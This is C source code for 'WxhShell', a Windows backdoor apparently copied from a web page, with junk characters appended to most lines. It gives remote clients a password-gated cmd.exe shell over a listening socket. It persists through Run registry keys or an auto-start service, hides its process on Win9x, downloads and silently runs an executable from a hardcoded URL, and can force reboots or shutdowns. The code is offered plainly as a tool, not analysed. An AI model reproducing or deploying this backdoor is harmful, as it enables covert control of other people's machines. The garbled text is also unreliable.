    } K :~tZ  
  // 关机 Q>rr?L`  
  case 'd': { cY kb3(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >!a- "  
    if(Boot(SHUTDOWN)) RtpV08s\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W g6H~x  
    else { 8"ZS|^#  
    closesocket(wsh); .5}Gt>4XM  
    ExitThread(0); 57gt"f  
    } Qx8(w"k*  
    break; )7o? }"I  
    } h,]VWG  
  // 获取shell  [)~1Lu  
  case 's': { &);P|v`8  
    CmdShell(wsh); kV4Oq.E  
    closesocket(wsh); 3JBXGT0gJ  
    ExitThread(0); 6ST(=X_C  
    break; nhjT2Sl  
  } Gsb^gd  
  // 退出 N)R5#JX  
  case 'x': { *L$_80  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); " r o'?  
    CloseIt(wsh); 1 ptyiy  
    break; NX.5 u8Pf  
    } .8!\6=iJB  
  // 离开 v:yU+s|kN  
  case 'q': { y1Z>{SDiq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [w|Klq5  
    closesocket(wsh); ]W`?0VwF  
    WSACleanup(); ,$> l[G;Bm  
    exit(1); LCtVM70  
    break; _N^w5EBC]  
        } -C3[:g  
  } s*<T'0&w0S  
  } )`R}@(r.  
%!(C?k!\  
  // 提示信息 PM#3N2?|E  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /WE\0bf  
} *vuI'EbM  
  } 5rdB>8W  
Dd pcov  
  return; ,p#B5Dif/  
} ,I x>.^|  
/w(g:e  
// shell模块句柄 {tY1$}R  
int CmdShell(SOCKET sock) kmc"`Ogotw  
{ %<(d %&~  
STARTUPINFO si; <<A#4!f  
ZeroMemory(&si,sizeof(si)); n-l_PhPQ`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~~-VScG&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ftR& 5 !Wm  
PROCESS_INFORMATION ProcessInfo; 83t/ \x,Q  
char cmdline[]="cmd"; cGgfCF^`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?Y,^Moc:  
  return 0; 'xx M0Kn`  
} Z_m<x!  
YI,t{Wy  
// 自身启动模式 62zu;p9m  
int StartFromService(void) 111A e *U  
{ 5:f!EMb  
typedef struct L6{gwoZf3  
{ F=1 #qo<?  
  DWORD ExitStatus; yxp,)os:  
  DWORD PebBaseAddress; C)EP;5k'!\  
  DWORD AffinityMask; A`Y^qXFb`  
  DWORD BasePriority; rlY0UA,  
  ULONG UniqueProcessId; Wtc ib-  
  ULONG InheritedFromUniqueProcessId; !W@mW 5J|  
}   PROCESS_BASIC_INFORMATION; x"NQatdq  
86Q3d%;-yo  
PROCNTQSIP NtQueryInformationProcess; 2J&~b8:  
>WD HRC  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kexV~Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; NGl 8*Af   
3,{eH6,O7M  
  HANDLE             hProcess;  ,S=[#  
  PROCESS_BASIC_INFORMATION pbi; rD SYR\cg  
9|Jv>Ur=)2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I@/ G#3Zr  
  if(NULL == hInst ) return 0; A`f"<W-m  
8TeOh 1\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,mp<<%{u  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /[FDiJH2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "}*D,[C5e  
wb?k  
  if (!NtQueryInformationProcess) return 0; C`g "Mk8  
8lYA6A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {Fw"y %a^  
  if(!hProcess) return 0; Si?s69  
/#M1J:SV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; CMW4Zqau*  
P7XZ|Td4*  
  CloseHandle(hProcess); v4"Ukv  
EXr2d"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Nb&j?./  
if(hProcess==NULL) return 0; 3U{ mC}F  
d ,98W=7  
HMODULE hMod; ',0:/jSz  
char procName[255]; m.Zy$SDj(  
unsigned long cbNeeded; y2#>a8SRS  
nJN-U+)u  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M x#L|w`r  
]wU/yc)e  
  CloseHandle(hProcess); 6Lq`zU^  
)/;+aDk  
if(strstr(procName,"services")) return 1; // 以服务启动 _) x{TnK  
xyk%\&"7  
  return 0; // 注册表启动 ?o;ip  
} Mu[lk=jC  
#:gl+  
// 主模块 [8sYEh  
int StartWxhshell(LPSTR lpCmdLine) Ul_Zn  
{ OlRXgJ  
  SOCKET wsl; rxgSQ+G_  
BOOL val=TRUE; $lf/Mg_H  
  int port=0; t2(X  
  struct sockaddr_in door; .))j R:{3  
=eU=\td^  
  if(wscfg.ws_autoins) Install(); vYm:V:7Y2  
"@eGgQ  
port=atoi(lpCmdLine); I0 ~'z f  
Q /4-7  
if(port<=0) port=wscfg.ws_port; @c]KHWI  
Gg'!(]v  
  WSADATA data; .T9$O]:o  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m1pA]}Y/5o  
A,<5W }  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {wz)^A sy  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,^?g\&f(  
  door.sin_family = AF_INET; qhxMO[f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @^UgdD,BS,  
  door.sin_port = htons(port); mcd{:/^?  
wG[n wt0L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h$'6."I  
closesocket(wsl); M=Ze)X\E*'  
return 1; zX_F+"]THt  
} O3o ^%0  
Xs052c|s  
  if(listen(wsl,2) == INVALID_SOCKET) { kJ5z['4?  
closesocket(wsl); ^^"zjl*^  
return 1; t8-Nli*O  
} )hrsA&1w  
  Wxhshell(wsl); $WIVCp  
  WSACleanup();  \nEMj,)  
RBrb7D{  
return 0; =Q(J!f  
!~vK[G(R  
} PG63{  
c36p+6rJk=  
// 以NT服务方式启动 'z"vk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /Y y)=~t{  
{ p [C 9g  
DWORD   status = 0; 5,gT|4|B\g  
  DWORD   specificError = 0xfffffff; (&SU)Uvu  
~6t!)QATnp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W 94:%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %jjPs .  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e&z@yy$  
  serviceStatus.dwWin32ExitCode     = 0; 0!3. .5==  
  serviceStatus.dwServiceSpecificExitCode = 0; T&'Jc  
  serviceStatus.dwCheckPoint       = 0; ?A|JKOst]  
  serviceStatus.dwWaitHint       = 0; m~ ah!QM  
 bHG<B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v-z%3x.f  
  if (hServiceStatusHandle==0) return; Ih:Q}V#6  
dzOco)y  
status = GetLastError(); kku<0<(N  
  if (status!=NO_ERROR) JI .=y5I  
{ _s5^\~ao  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H}kZ;8  
    serviceStatus.dwCheckPoint       = 0; (s;W>,~q  
    serviceStatus.dwWaitHint       = 0; @bA5uY!  
    serviceStatus.dwWin32ExitCode     = status; Q[#}Oh6$  
    serviceStatus.dwServiceSpecificExitCode = specificError; >*{k~Y-G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); IADHe\.  
    return; 3Tu]-.  
  } ;|vP|Xi  
HQP.7.w7 5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Li6|c*K'  
  serviceStatus.dwCheckPoint       = 0; =\.*CY|;N  
  serviceStatus.dwWaitHint       = 0; G*N[tw  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `Qo37B2  
} Mm@G{J\\  
|)!f".`  
// 处理NT服务事件,比如:启动、停止 I0zx'x)F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qqw P4ceG  
{ ,kJ7c;:i  
switch(fdwControl) ar<8wq<4G  
{ CKn2ZL  
case SERVICE_CONTROL_STOP: _dm0*T ?  
  serviceStatus.dwWin32ExitCode = 0; @KL&vm(F$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; F^gTID  
  serviceStatus.dwCheckPoint   = 0; BjfVNF;hk:  
  serviceStatus.dwWaitHint     = 0; I/njyV)H  
  { u"qVT9C$=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /8e}c`  
  } cRf F!EV  
  return; X~jdOaq{F:  
case SERVICE_CONTROL_PAUSE: S#M8}+ZD,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,)[9RgsE  
  break; b$DiDm  
case SERVICE_CONTROL_CONTINUE: U/enq,-F^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; VP A+/5TW  
  break; 9\.0v{&v  
case SERVICE_CONTROL_INTERROGATE: eI:[o  
  break; f/J/tt  
}; ,7j8+p|},  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G~5pMyOR  
} |2l-s 1|y  
)oCL![^pXe  
// 标准应用程序主函数 q2E{o)9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3cghg._  
{ fc3nQp7  
f8lyH'z0 @  
// 获取操作系统版本 $Lj ]NtO  
OsIsNt=GetOsVer(); <u\Hy0g  
GetModuleFileName(NULL,ExeFile,MAX_PATH); b 5|*p(7[  
M3-lL;!n  
  // 从命令行安装 ,A{Bx`o?  
  if(strpbrk(lpCmdLine,"iI")) Install(); DKt98;  
7=Muq]j2  
  // 下载执行文件 our ^J8  
if(wscfg.ws_downexe) { yDqwz[v b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X0 |U?Ib?  
  WinExec(wscfg.ws_filenam,SW_HIDE); /#Pm'i>B  
} u"qu!EY2  
{*O%A  
if(!OsIsNt) { 0FcDO5ia  
// 如果时win9x,隐藏进程并且设置为注册表启动 vSnVq>-q&  
HideProc(); CBd%}il  
StartWxhshell(lpCmdLine); &tZIWV1&  
} v<v;ZR)  
else }3: mn  
  if(StartFromService()) Nl YFS?5  
  // 以服务方式启动 *:H,-@  
  StartServiceCtrlDispatcher(DispatchTable); jz<}9Kze  
else .rk5u4yK  
  // 普通方式启动 s-rc0:I  
  StartWxhshell(lpCmdLine); }oZ8esZU2  
twr{jdY9  
return 0; /^xv1F{  
} ZFtR#r(~41  
4N,[Gs<7  
8~O#@hB~3  
l{7}3Am6  
=========================================== P{)D_Bi  
G{: B'08  
- 2L(])t6  
(@} ^ 3jpT  
z~h?"'  
=Oy&f:s  
" ?Vg~7Eu0  
fSbLkd 9  
#include <stdio.h> d=bK NA90  
#include <string.h> VvW4!1Dl  
#include <windows.h> \YzKEYx+  
#include <winsock2.h> : 2%eh  
#include <winsvc.h> :(XyiF<Ud  
#include <urlmon.h> TQO|C?  
G@DNV3Cc  
#pragma comment (lib, "Ws2_32.lib") f0 g/`j@Up  
#pragma comment (lib, "urlmon.lib") n@+?tYk*e  
4|_xz; i  
#define MAX_USER   100 // 最大客户端连接数 <2]h$53y!  
#define BUF_SOCK   200 // sock buffer CCG 5:xS  
#define KEY_BUFF   255 // 输入 buffer fh`Y2s|:7R  
6k0Awcr  
#define REBOOT     0   // 重启 nX:E(9q7c  
#define SHUTDOWN   1   // 关机 "}_ J"%  
,5zY1C==Ut  
#define DEF_PORT   5000 // 监听端口 1L::Qu%E  
:.AC%'S  
#define REG_LEN     16   // 注册表键长度 3Y#  
#define SVC_LEN     80   // NT服务名长度 WILa8"M  
f.J^HQ_  
// 从dll定义API |I1,9ex  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kKF=%J?X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O83J[YuzjN  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); K7 C <}y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k+{~#@  
-I{op wd  
// wxhshell配置信息 JYNn zgd  
struct WSCFG { Y&bYaq  
  int ws_port;         // 监听端口 6%p6BK6  
  char ws_passstr[REG_LEN]; // 口令 CL2zZk{u_  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?x ",VA  
  char ws_regname[REG_LEN]; // 注册表键名 Byw EoS  
  char ws_svcname[REG_LEN]; // 服务名 G h+;Vrx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?M4ig_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $DH/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 sRT5i9TQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no WY|~E%k  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" CX/[L)|Ru  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b(N+_= n  
;sA 5&a>!  
}; Bs0~P 4^  
i +@avoW  
// default Wxhshell configuration 4}D&=0IZ  
struct WSCFG wscfg={DEF_PORT, >AV9 K  
    "xuhuanlingzhe", 3q/"4D  
    1, g.Ur~5r  
    "Wxhshell", ^kK")+K  
    "Wxhshell", pWzYC@_W  
            "WxhShell Service", a`yCPnB(  
    "Wrsky Windows CmdShell Service", 4;~xRg;u&*  
    "Please Input Your Password: ", I;jH'._k#  
  1, br88b`L  
  "http://www.wrsky.com/wxhshell.exe", :@ &e~QP(  
  "Wxhshell.exe" 2A  
    }; LT{g^g  
X_-/j.  
// 消息定义模块 IrRy1][Qr  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &O+S [~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |b@`ykD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tPiC?=4R  
char *msg_ws_ext="\n\rExit."; #pRbRT9  
char *msg_ws_end="\n\rQuit."; ~Fvz&dO  
char *msg_ws_boot="\n\rReboot..."; 3U?gw!M>  
char *msg_ws_poff="\n\rShutdown..."; W!el[@  
char *msg_ws_down="\n\rSave to "; 0KExB{K  
)]Zdaw)X  
char *msg_ws_err="\n\rErr!"; w@WtW8 p^  
char *msg_ws_ok="\n\rOK!"; w`boQ_Ir  
Y_$!XIJ4  
char ExeFile[MAX_PATH]; )LG!"~qiz  
int nUser = 0; )5`^@zx  
HANDLE handles[MAX_USER]; _Iy)p{y  
int OsIsNt; oSYJXs  
eY Rd#w  
SERVICE_STATUS       serviceStatus; Zu#^a|PE*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vKoQ!7g  
}6u}?>S  
// 函数声明 'GW~~UhdW  
int Install(void); _Hq)@A I   
int Uninstall(void); *@lVesC2  
int DownloadFile(char *sURL, SOCKET wsh); @?tR-L<u  
int Boot(int flag); %QDAog  
void HideProc(void); }}Q h_(  
int GetOsVer(void); _JpTHpqu  
int Wxhshell(SOCKET wsl);  w D  
void TalkWithClient(void *cs); %j0c|u  
int CmdShell(SOCKET sock); agoMsxI9  
int StartFromService(void); F$v^S+Ch  
int StartWxhshell(LPSTR lpCmdLine); cPL6(&7  
l}S96B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \RVfgfe  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "OP$n-*@%  
uG.`  
// 数据结构和表定义 <vg|8-,#m  
SERVICE_TABLE_ENTRY DispatchTable[] = Ktuv a3=>N  
{ Xa}y.qH  
{wscfg.ws_svcname, NTServiceMain}, h _c11#  
{NULL, NULL} j*VYUM@y1\  
}; 29@m:=-}7  
s*CBYzOm  
// 自我安装 $\oe}`#o  
int Install(void) &xj,.;  
{ 5 a&a-(  
  char svExeFile[MAX_PATH]; r,,*kE  
  HKEY key; R=NK3iGTf  
  strcpy(svExeFile,ExeFile); 4tiCxf)  
V,7Xeh(+5L  
// 如果是win9x系统,修改注册表设为自启动 kU)E-h  
if(!OsIsNt) { L{f0r!d|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ov:U3P?%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7'{%djL  
  RegCloseKey(key); 3gCP?%R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Kv5 !cll5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #B$_ily)  
  RegCloseKey(key); X=Y>9  
  return 0; ]nS9taEA   
    } O St~P^1  
  } oXwcil  
} jfR!M07|  
else { (=53WbOh/t  
cpq0' x\  
// 如果是NT以上系统,安装为系统服务 O,&p"K&Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %[?{H} y  
if (schSCManager!=0) Q `h@-6N  
{ 8 =3#S'n  
  SC_HANDLE schService = CreateService [HRP&jr  
  ( Xs4G#QsA J  
  schSCManager, r)w]~)8  
  wscfg.ws_svcname, L~M6 ca"  
  wscfg.ws_svcdisp, Gnqun%  
  SERVICE_ALL_ACCESS, (j)>npOd9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P^/e!%UgC  
  SERVICE_AUTO_START, :;3y^!  
  SERVICE_ERROR_NORMAL, FbPoyh  
  svExeFile, t-hN4WKH_A  
  NULL, !\Q/~p'jS  
  NULL, Y,%G5X@S<  
  NULL, W<H^V"^  
  NULL, ra\2BS)X  
  NULL KDAZG+u+  
  ); SI l<\  
  if (schService!=0) V/DdV}n!  
  { `ucr;P  
  CloseServiceHandle(schService); (@*#Pn|A  
  CloseServiceHandle(schSCManager); >\ym{@+*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pc_$,RkN  
  strcat(svExeFile,wscfg.ws_svcname); s9YP =)I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !8%{(;(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); aQfrDM<*XS  
  RegCloseKey(key); (XA]k%45  
  return 0; h,Tsb:Q"M  
    } 1QDAfRx  
  } (/_Z^m9   
  CloseServiceHandle(schSCManager); )Chx,pcx<  
} /aMeKM[L`  
} TCO^9RP<  
"IsDL^)A9  
return 1; NB/ wJ3 F  
} A!5)$>!o  
Z}6H529[  
// 自我卸载 }"9jCxXL  
int Uninstall(void) [hXU$Y>"0  
{ /&'rQ`nd  
  HKEY key; H!{Cr#=  
L sMS`o6  
if(!OsIsNt) { \ 5^GUT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iu.+bX|b  
  RegDeleteValue(key,wscfg.ws_regname); I'RhA\`  
  RegCloseKey(key); @Nt$B'+S&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #%tN2cFDN  
  RegDeleteValue(key,wscfg.ws_regname); zFV?,"\r  
  RegCloseKey(key); "^@0zy@x  
  return 0; bQ2 '*T  
  } uYwJ[1 C  
} A&QO]8  
} 1=%\4\  
else { mH} 1Zy  
A ptzBs/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6tmn1:  
if (schSCManager!=0) z+B"RV  
{ <P1sK/IZb  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R`|GBVbv  
  if (schService!=0) [2cG 7A  
  { H<YS2Ed  
  if(DeleteService(schService)!=0) { O>`DR0  
  CloseServiceHandle(schService); 8CKI9  
  CloseServiceHandle(schSCManager); lGr(GHn  
  return 0; Doy7prKI8  
  } Obu>xK(  
  CloseServiceHandle(schService); x5}Ru0Z  
  } m48m5>  
  CloseServiceHandle(schSCManager); 5*pCb,z>q  
} J$D#)w!$j  
} QR($KW(  
/A;!g5Y  
return 1; `!\`yI$!%w  
} BI-xo}KI  
@{!c [{x,T  
// 从指定url下载文件 >*%mJX/F  
int DownloadFile(char *sURL, SOCKET wsh) *L.+w-g&&  
{ EBN'u&zX  
  HRESULT hr; @9^ozgg  
char seps[]= "/"; ~vIQ-|8r:  
char *token; ^SKuX?f\  
char *file; HW(cA}$  
char myURL[MAX_PATH]; Q<V?rPAcx  
char myFILE[MAX_PATH];  *w538Vb  
P*6B+8h"5g  
strcpy(myURL,sURL); D?3^>h  
  token=strtok(myURL,seps); Yvu!Q  
  while(token!=NULL) \j]i"LpWb  
  { }?=$?3W  
    file=token; gUB%6vG\I  
  token=strtok(NULL,seps); -&* 4~  
  } SablF2doa  
BVX6  
GetCurrentDirectory(MAX_PATH,myFILE); C-abc+/  
strcat(myFILE, "\\"); ;X ]+r$_  
strcat(myFILE, file); g9`z]qGWS:  
  send(wsh,myFILE,strlen(myFILE),0); @e_ bG@  
send(wsh,"...",3,0); j\D_Z{m2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |BGQ|7DyG  
  if(hr==S_OK) hX~d1.]Y  
return 0; WBgS9qiB  
else xFt[:G`\}u  
return 1; 2n] Br  
d tw4cG  
} p ] V  
[Az<E3H"  
// 系统电源模块 /L8Q[`;.  
int Boot(int flag) ?[}r& f  
{ ~e5hfZv|w  
  HANDLE hToken; e:E:"elr]  
  TOKEN_PRIVILEGES tkp; sF$$S/b  
25RFi24>D  
  if(OsIsNt) { %EuJ~;x(Mg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qJb9JL$s  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6.| {l8%r  
    tkp.PrivilegeCount = 1; :O}=$[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i"~J -{d}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  ]CD  
if(flag==REBOOT) { 'Tn i;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m?]X NgT  
  return 0; ^#T@NN0T  
} ?H\K];  
else { @-9I<)Z/2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "|yuP1;L  
  return 0; Qx-/t9`!Z  
} 3: 'eZ cM  
  } oz(V a!  
  else { ab5 a>w6}  
if(flag==REBOOT) { /*)zQ?N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~.?,*q7  
  return 0; pPSmSWD?  
} Lj"@JF;c  
else { t%$>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]uN}n;`12  
  return 0; r%*,pN7O  
} LE!xj 0  
} Tji G!W8  
qU(,q/l  
return 1; 3xSt -MA  
} |N%?7PZ(  
fz[o;GTc  
// win9x进程隐藏模块 kQ5mIJ9(  
void HideProc(void) #"J8]3\F  
{ 3":vjDq$  
U_t[J|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :C*7 DS  
  if ( hKernel != NULL ) +>b~nK>M  
  { KTr7z^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1]Q;fe  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N8!V%i?  
    FreeLibrary(hKernel); F<K;tt  
  } cI~uI '  
m5c?A+@fZ  
return; % ~eIx=s  
} TUw+A6u:p  
{O ]^8#v^  
// 获取操作系统版本 WrB:)Q(8=  
int GetOsVer(void) iI|mFc|V  
{ @]v}& j7  
  OSVERSIONINFO winfo; (gY3?&Ok*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); eD4D<\*  
  GetVersionEx(&winfo); ws1io.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6'YT3=  
  return 1; cR'l\iv+  
  else e :(7$jo  
  return 0; w;@NYMK)  
} cEI "  
(_h=|VjK(I  
// 客户端句柄模块 5bKBVkJ'  
int Wxhshell(SOCKET wsl) wKxw|Fpn  
{ Nm;yL  
  SOCKET wsh; *3.K; Ic;  
  struct sockaddr_in client; kiYHJ\a  
  DWORD myID; )ry7a .39b  
US5 ]@!  
  while(nUser<MAX_USER) "DN0|%`M/  
{ SlU?,)J}  
  int nSize=sizeof(client); muh[wo  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); = <yMB d\  
  if(wsh==INVALID_SOCKET) return 1; ~s3X&!#   
L|B/'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q=YIAGK  
if(handles[nUser]==0) * 0vq+C  
  closesocket(wsh); O;zq(/,-l  
else I5#KLZVg  
  nUser++; .|\}] O`  
  } 'q3<R%^Q   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _C`&(?}  
z$64Ep#  
  return 0; +D7>$&BD  
} x*H,eY3  
F ru&-T[  
// 关闭 socket ?3[Gh9g`  
void CloseIt(SOCKET wsh) p **Sd[|  
{ -!o*A>N  
closesocket(wsh); e}f#dR+(  
nUser--; voX4A p l  
ExitThread(0); O0Z !*Hy  
} t QR qQ  
hn`yc7<}(u  
// 客户端请求句柄 %mqep5n(  
void TalkWithClient(void *cs) ]>v C.iYp  
{ `!,"">5  
.rPg  
  SOCKET wsh=(SOCKET)cs; xUW\P$  
  char pwd[SVC_LEN]; WK2YHJ*$  
  char cmd[KEY_BUFF]; >W?i+,g  
char chr[1]; g=#Cc( q  
int i,j; 4{PN9i E  
O)N$nBnp  
  while (nUser < MAX_USER) { Wi U-syNh  
0r_3:#Nn  
if(wscfg.ws_passstr) { =EJ8J;y_f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \wjT|z1+Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S_eD1iY2-  
  //ZeroMemory(pwd,KEY_BUFF); PJfADB7Y  
      i=0; Y0z)5),[U:  
  while(i<SVC_LEN) { 8SZZ_tS3r  
hkpS}*L9o  
  // 设置超时 uSsP'qd  
  fd_set FdRead; 5q^5DH_;  
  struct timeval TimeOut; /1y\EEc  
  FD_ZERO(&FdRead); 'hGUsi  
  FD_SET(wsh,&FdRead); oV/:T\Qn=  
  TimeOut.tv_sec=8; H*.v*ro9_  
  TimeOut.tv_usec=0; K#%@4]jO3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C.|.0^5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R|m!*B~  
;S_Imf0$v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2y"L&3W  
  pwd=chr[0]; iv!;gMco  
  if(chr[0]==0xd || chr[0]==0xa) { +X%pUe  
  pwd=0; A!$;pwn0  
  break; *w#^`yeo  
  } 9kzJ5}  
  i++; V3S"LJ  
    } uQhI)  
`uwSxt  
  // 如果是非法用户,关闭 socket =L\&} kzB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Kj7 ?_o{  
} +B '<0  
X :#}E7]j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {^@vCBE+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (.J6>"K<  
M!`&Z9N  
while(1) { 7VIfRN{5n  
&q7}HO/ @  
  ZeroMemory(cmd,KEY_BUFF); Mdw"^x$7  
~hxW3e  
      // 自动支持客户端 telnet标准   YB+My~fw{l  
  j=0; 2!)|B ;y  
  while(j<KEY_BUFF) { g#iRkz%l)&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); + Pc2`,pw|  
  cmd[j]=chr[0]; ,.HS )<B  
  if(chr[0]==0xa || chr[0]==0xd) { Pk3b#$+E  
  cmd[j]=0; ^/ff)'.J  
  break; :@b=;  
  } Dn l|B\  
  j++; }~v&  
    } v8"Zru  
m0i,Zw{eM  
  // 下载文件 N0pA ,&  
  if(strstr(cmd,"http://")) { ;S9 z@`a.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X Z=%XB:?  
  if(DownloadFile(cmd,wsh)) lqcPV) n  
